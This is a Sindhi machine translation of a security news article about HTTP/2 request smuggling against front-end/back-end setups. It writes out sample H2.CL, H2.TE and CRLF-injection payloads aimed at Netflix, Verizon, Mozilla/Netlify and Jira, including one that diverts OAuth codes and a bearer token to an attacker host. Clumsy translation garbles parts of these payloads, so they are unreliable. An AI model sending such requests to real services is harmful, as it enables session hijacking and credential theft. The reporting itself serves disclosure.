فرنٽ-آخر-پٺاڻ سسٽم تي هڪ نئون حملو جيڪو توهان کي درخواستن ۾ ويهڻ جي اجازت ڏئي ٿو

ويب سسٽم جنهن ۾ فرنٽ اينڊ HTTP/2 ذريعي ڪنيڪشن قبول ڪري ٿو ۽ انهن کي HTTP/1.1 ذريعي پسمنظر ڏانهن منتقل ڪري ٿو، "HTTP درخواست اسمگلنگ" حملي جي هڪ نئين قسم کي سامهون آندو ويو آهي، جيڪو اجازت ڏئي ٿو، خاص طور تي ڊزائين ڪيل ڪلائنٽ درخواستون موڪلڻ ذريعي، فرنٽ اينڊ ۽ پس منظر جي وچ ۾ ساڳئي وهڪري ۾ پروسيس ٿيل ٻين استعمال ڪندڙن جي درخواستن جي مواد ۾ ويج. حملي کي استعمال ڪري سگهجي ٿو بدسلوڪي جاوا اسڪرپٽ ڪوڊ داخل ڪرڻ لاءِ هڪ جائز ويب سائيٽ سان سيشن ۾، بائي پاس رسائي جي پابندي واري نظام ۽ مداخلت جي تصديق جي پيراگراف.

مسئلو ويب پراڪسيز، لوڊ بيلنسرز، ويب تيز ڪندڙ، مواد پهچائڻ واري نظام ۽ ٻين ترتيبن کي متاثر ڪري ٿو، جن ۾ درخواستن کي ريڊائريڪٽ ڪيو ويو آهي فرنٽ-اينڊ-ٽ-پئڪ-اينڊ انداز ۾. مطالعي جي ليکڪ Netflix، Verizon، Bitbucket، Netlify CDN ۽ Atlassian جي سسٽم تي حملي جي امڪان کي ظاهر ڪيو، ۽ خطرات جي نشاندهي ڪرڻ لاء انعام پروگرامن ۾ 56 هزار ڊالر وصول ڪيا. مسئلو پڻ تصديق ڪئي وئي آهي F5 نيٽ ورڪ جي شين ۾. مسئلو جزوي طور تي متاثر ڪري ٿو mod_proxy Apache http سرور ۾ (CVE-2021-33193)، هڪ فيڪس نسخو 2.4.49 ۾ متوقع آهي (ڊولپرز کي مئي جي شروعات ۾ مسئلي جو اطلاع ڏنو ويو ۽ ان کي درست ڪرڻ لاءِ 3 مهينا ڏنا ويا). nginx ۾، "مواد جي ڊگھائي" ۽ "منتقلي-انڪوڊنگ" هيڊرز کي گڏ ڪرڻ جي صلاحيت کي آخري رليز ۾ بند ڪيو ويو (1.21.1). حملي جا اوزار اڳ ۾ ئي برپ ٽول ڪٽ ۾ شامل آهن ۽ ٽربو انٽروڊر ايڪسٽينشن جي صورت ۾ موجود آهن.

ٽريفڪ ۾ درخواستن کي وائکو ڪرڻ جي نئين طريقي جي آپريشن جو اصول ٻه سال اڳ ساڳئي محقق پاران نشاندهي ڪيل خطري سان ملندڙ جلندڙ آهي، پر فرنٽ اينڊس تائين محدود آهي جيڪي HTTP/1.1 تي درخواستون قبول ڪن ٿا. اچو ته ياد رکون ته فرنٽ اينڊ-بيڪ اينڊ اسڪيم ۾، ڪلائنٽ جون درخواستون هڪ اضافي نوڊ پاران وصول ڪيون وينديون آهن - فرنٽ اينڊ، جيڪو پس منظر سان هڪ ڊگهو TCP ڪنيڪشن قائم ڪري ٿو، جيڪو سڌو سنئون درخواستن تي عمل ڪري ٿو. هن عام ڪنيڪشن ذريعي، مختلف استعمال ڪندڙن کان درخواستون عام طور تي منتقل ڪيون وينديون آهن، جيڪي هڪ ٻئي پٺيان زنجير جي پيروي ڪندا آهن، HTTP پروٽوڪول جي ذريعي الڳ ٿيل.

کلاسک “HTTP Request Smuggling” حملو ان حقيقت تي مبني هو ته فرنٽ اينڊ ۽ پسمنظر HTTP هيڊرز جي استعمال جي تشريح ڪن ٿا “Content-Length” (درخواست ۾ ڊيٽا جي ڪل سائيز جو تعين ڪري ٿو) ۽ “Transfer-Encoding: chunked” (اجازت ڏئي ٿو. ڊيٽا کي حصن ۾ منتقل ڪيو وڃي) مختلف طور تي. مثال طور، جيڪڏهن فرنٽ اينڊ صرف "مواد جي ڊگھائي" کي سپورٽ ڪري ٿو پر "منتقلي-انڪوڊنگ: chunked" کي نظرانداز ڪري ٿو، ته پوء هڪ حملو ڪندڙ هڪ درخواست موڪلي سگهي ٿو جنهن ۾ "مواد-لمبائي" ۽ "منتقلي-انڪوڊنگ: chunked" هيڊر شامل آهن، پر سائيز آهي "Content-Length" chunked زنجيرن جي سائيز سان نه ملندي آهي. انهي صورت ۾، فرنٽ اينڊ "Content-Length" جي مطابق درخواست کي پروسيس ڪندو ۽ ريڊائريڪٽ ڪندو، ۽ پس منظر "ٽرانسفر-انڪوڊنگ: chunked" جي بنياد تي بلاڪ جي مڪمل ٿيڻ جو انتظار ڪندو ۽ حملي ڪندڙ جي درخواست جي باقي پڇاڙي ڪندو. ڪنهن ٻئي جي درخواست جي شروعات ۾ اڳتي منتقل ڪيو وڃي.

متن پروٽوڪول HTTP/1.1 جي برعڪس، جيڪو ليول ليول تي پارس ڪيو ويو آهي، HTTP/2 هڪ بائنري پروٽوڪول آهي ۽ اڳي مقرر ڪيل سائيز جي ڊيٽا بلاڪ کي ٺاهي ٿو. بهرحال، HTTP/2 استعمال ڪري ٿو pseudo-headers جيڪي باقاعده HTTP هيڊرز سان ملن ٿا. HTTP/1.1 پروٽوڪول جي ذريعي پس منظر سان رابطي جي صورت ۾، فرنٽ اينڊ ان pseudo-headers کي ساڳي HTTP هيڊر HTTP/1.1 ۾ ترجمو ڪري ٿو. مسئلو اهو آهي ته پس منظر اصل درخواست جي پيرا ميٽرن جي باري ۾ معلومات جي بغير، فرنٽ اينڊ پاران مقرر ڪيل HTTP هيڊرز جي بنياد تي وهڪرو پارس ڪرڻ بابت فيصلا ڪري ٿو.

خاص طور تي، قدر "مواد جي ڊگھائي" ۽ "منتقلي-انڪوڊنگ" کي ​​pseudo-headers جي صورت ۾ منتقل ڪري سگھجي ٿو، ان حقيقت جي باوجود ته اهي HTTP/2 ۾ استعمال نه ڪيا ويا آهن، ڇاڪاڻ ته سڀني ڊيٽا جي ماپ جو اندازو لڳايو ويو آهي. هڪ الڳ ميدان ۾. جڏهن ته، HTTP/2 درخواست کي HTTP/1.1 ۾ تبديل ڪرڻ جي عمل دوران، اهي هيڊر مٿي ڪيا ويا آهن ۽ پس منظر کي پريشان ڪري سگهن ٿا. حملي جا ٻه مکيه قسم آهن: H2.TE ۽ H2.CL، جنهن ۾ پس منظر غلط منتقلي-انڪوڊنگ يا مواد جي ڊگھائي قدر جي ڪري گمراهه ڪيو ويو آهي جيڪو فرنٽ اينڊ ذريعي حاصل ڪيل درخواست جي جسم جي حقيقي سائيز سان مطابقت نٿو رکي. HTTP/2 پروٽوڪول.

فرنٽ-آخر-پٺاڻ سسٽم تي هڪ نئون حملو جيڪو توهان کي درخواستن ۾ ويهڻ جي اجازت ڏئي ٿو

H2.CL حملي جو هڪ مثال مواد جي ڊگھائي pseudo-header ۾ غلط سائيز جي وضاحت ڪرڻ آهي جڏهن Netflix ڏانهن HTTP/2 درخواست موڪليندي. هي درخواست HTTP/1.1 ذريعي پس منظر تائين پهچندي ساڳئي HTTP هيڊر مواد جي ڊگھائي جي اضافي جي ڪري ٿي، پر جيئن ته مواد جي ڊيگهه ۾ ماپ اصل کان گهٽ بيان ڪئي وئي آهي، دم ۾ ڊيٽا جو حصو پروسيس ڪيو ويندو آهي ايندڙ درخواست جي شروعات.

مثال طور، HTTP/2:method POST :path/n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 جي درخواست ڪريو ميزبان: 02.rs?x.netflix.com Foo: bar

نتيجي ۾ هڪ درخواست موڪلي ويندي پس منظر ڏانهن: POST /n HTTP/1.1 ميزبان: www.netflix.com مواد-ڊگھائي: 4 abcdGET /n HTTP/1.1 ميزبان: 02.rs?x.netflix.com Foo: bar

جيئن ته مواد جي ڊيگهه 4 جي قيمت آهي، پس منظر صرف "abcd" کي درخواست جي جسم جي طور تي قبول ڪندو، ۽ باقي "GET /n HTTP/1.1..." کي ايندڙ درخواست جي شروعات جي طور تي عمل ڪيو ويندو. ٻئي استعمال ڪندڙ سان لاڳاپيل. ان جي مطابق، وهڪرو ختم ٿي ويندو ۽ ايندڙ درخواست جي جواب ۾، ڊمي درخواست جي پروسيسنگ جو نتيجو جاري ڪيو ويندو. Netflix جي صورت ۾، ڊمي درخواست ۾ "ميزبان:" هيڊر ۾ ٽئين پارٽي جي ميزبان جي وضاحت ڪرڻ جي نتيجي ۾ ڪلائنٽ جواب واپس ڏئي ٿو "مقام: https://02.rs?x.netflix.com/n" ۽ ڪلائنٽ ڏانهن غير جانبدار مواد موڪلڻ جي اجازت ڏني وئي، بشمول Netflix سائيٽ جي حوالي سان پنهنجو JavaScript ڪوڊ هلائڻ.

ٻئي حملي جو اختيار (H2.TE) ۾ "منتقلي-انڪوڊنگ: chunked" هيڊر کي متبادل ڪرڻ شامل آهي. HTTP/2 ۾ منتقلي-انڪوڊنگ pseudo-header جو استعمال وضاحت سان منع ٿيل آهي ۽ ان سان گڏ درخواستن کي غلط قرار ڏنو وڃي ٿو. انهي جي باوجود، ڪجهه فرنٽ اينڊ پليپشن هن گهرج کي اڪائونٽ ۾ نه وٺندا آهن ۽ HTTP/2 ۾ منتقلي-انڪوڊنگ سيوڊو-هيڊر جي استعمال جي اجازت ڏين ٿا، جيڪو هڪ ئي HTTP هيڊر ۾ تبديل ڪيو ويو آهي. جيڪڏهن ڪو ”ٽرانسفر-انڪوڊنگ“ هيڊر آهي، ته پس منظر ان کي اعليٰ ترجيح طور وٺي سگهي ٿو ۽ ڊيٽا جي ٽڪري کي پارس ڪري سگهي ٿو ”چنڪڊ“ موڊ ۾ مختلف سائزن جا بلاڪ استعمال ڪندي فارميٽ ۾ ”{size}\r\n{block }\r\n{size} \r\n{block}\r\n0"، مجموعي سائيز جي ابتدائي تقسيم جي باوجود.

اهڙي خال جي موجودگي Verizon جي مثال جي ذريعي ظاهر ڪيو ويو آهي. مسئلو تصديقي پورٽل ۽ مواد مينيجمينٽ سسٽم جو تعلق آهي، جيڪو پڻ سائيٽن تي استعمال ڪيو ويندو آهي جهڙوڪ Huffington Post ۽ Engadget. مثال طور، ڪلائنٽ جي درخواست HTTP/2 ذريعي: :method POST :path/identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 ميزبان: psres.net مواد جي ڊيگهه: 10 x=

نتيجي ۾ هڪ HTTP/1.1 درخواست موڪلڻ جي نتيجي ۾ پس منظر ڏانهن: POST /identity/XUI HTTP/1.1 ميزبان: id.b2b.oath.com مواد-ڊگھائي: 66 منتقلي-انڪوڊنگ: chunked 0 GET /oops HTTP/1.1 ميزبان: psres. خالص مواد- ڊگھائي: 10x =

پسمنظر، موڙ ۾، "مواد جي ڊگھائي" هيڊر کي نظرانداز ڪيو ۽ "منتقلي-انڪوڊنگ: chunked" جي بنياد تي ان-اسٽريم ورهائڻ کي انجام ڏنو. عملي طور تي، حملي ان کي ممڪن بڻايو ته صارف جي درخواستن کي انهن جي ويب سائيٽ ڏانهن ريڊائريڪٽ ڪرڻ، بشمول OAuth جي تصديق سان لاڳاپيل درخواستن کي مداخلت ڪرڻ، جن جا پيرا ميٽرز ريفرر هيڊر ۾ ڏيکاريا ويا آهن، انهي سان گڏ هڪ تصديق واري سيشن کي نقل ڪرڻ ۽ صارف جي سسٽم کي ٽرگر ڪرڻ لاء سندون موڪلڻ لاء. حملي آور جي ميزبان ڏانهن. GET /b2blanding/show/oops HTTP/1.1 ميزبان: psres.net حوالي ڪندڙ: https://id.b2b.oath.com/?…&code=secret GET/HTTP/1.1 ميزبان: psres.net اختيار: بيئرر eyJhcGwiOiJIUzI1Gi1sInkR6cCII6

HTTP/2 عملن تي حملو ڪرڻ لاءِ جيڪي منتقلي-انڪوڊنگ سيوڊو-هيڊر کي بيان ڪرڻ جي اجازت نه ڏيندا آهن، هڪ ٻيو طريقو تجويز ڪيو ويو آهي جنهن ۾ شامل آهي “منتقلي-انڪوڊنگ” هيڊر کي متبادل ڪرڻ سان ان کي منسلڪ ڪري ٻين pseudo-headers سان ڳنڍي نئين لائن ڪردار ( جڏهن HTTP/1.1 ۾ تبديل ڪيو وڃي ته هن صورت ۾ ٻه الڳ HTTP هيڊر ٺاهيندا آهن).

مثال طور، Atlassian Jira ۽ Netlify CDN (Firefox ۾ Mozilla start page جي خدمت ڪرڻ لاءِ استعمال ٿيل) ھن مسئلي کان متاثر ٿيا. خاص طور تي، HTTP/2 جي درخواست :method POST :path / :authority start.mozilla.org foo b\r\n منتقلي-انڪوڊنگ: chunked 0\r\n \r\n GET/HTTP/1.1\r\n ميزبان : evil-netlify-domain\r\n مواد-ڊگھائي: 5\r\n \r\nx=

نتيجي ۾ HTTP/1.1 POST/HTTP/1.1 جي درخواست واپس موڪلي وئي آهي\r\n ميزبان: start.mozilla.org\r\n Foo: b\r\n منتقلي-انڪوڊنگ: chunked\r\n مواد جي ڊگھائي : 71\ r\n \r\n 0\r\n \r\n GET/HTTP/1.1\r\n ميزبان: evil-netlify-domain\r\n مواد-ڊگھائي: 5\r\n \r \nx=

”ٽرانسفر-انڪوڊنگ“ هيڊر کي متبادل ڪرڻ لاءِ هڪ ٻيو اختيار اهو هو ته ان کي ڪنهن ٻئي pseudo-header جي نالي سان ڳنڍيو وڃي يا درخواست جي طريقي سان هڪ قطار سان. مثال طور، جڏهن Atlassian Jira تائين پهچندي، pseudo-header جو نالو "foo: bar\r\ntransfer-encoding" قدر سان "chunked" سبب HTTP هيڊر "foo: bar" ۽ "transfer-encoding: chunked" شامل ڪيا ويا. , and specify pseudo-header ":method" value "GET/HTTP/1.1\r\nTransfer-encoding: chunked" جو ترجمو ڪيو ويو "GET/HTTP/1.1\r\ntransfer-encoding: chunked".

محقق جنهن مسئلي جي نشاندهي ڪئي ان پڻ تجويز ڪئي سرنگنگ ٽيڪنڪ جي درخواست فرنٽ اينڊ تي حملو ڪرڻ لاءِ، جنهن ۾ هر IP پتو پسمنظر سان الڳ ڪنيڪشن قائم ڪري ٿو ۽ مختلف استعمال ڪندڙن کان ٽريفڪ مليل نه آهي. تجويز ڪيل ٽيڪنڪ ٻين استعمال ڪندڙن جي درخواستن سان مداخلت ڪرڻ جي اجازت نه ڏئي ٿي، پر ان کي ممڪن بڻائي ٿي ته هڪ گڏيل ڪيش کي زهر ڪري ٿو جيڪو ٻين درخواستن جي پروسيسنگ کي متاثر ڪري ٿو، ۽ خدمت جي معلومات کي فرنٽ اينڊ کان پس منظر ۾ منتقل ڪرڻ لاء استعمال ٿيل اندروني HTTP هيڊرز جي متبادل جي اجازت ڏئي ٿو ( مثال طور، جڏهن اهڙي هيڊرز ۾ فرنٽ اينڊ سائڊ تي تصديق ڪندي موجوده صارف بابت معلومات کي پس منظر ڏانهن منتقل ڪري سگھن ٿا). عملي طور تي طريقيڪار کي لاڳو ڪرڻ جي مثال طور، ڪيش جي زهر کي استعمال ڪندي، اهو ممڪن هو Bitbucket سروس ۾ صفحن تي ڪنٽرول حاصل ڪرڻ.

جو ذريعو: opennet.ru

تبصرو شامل ڪريو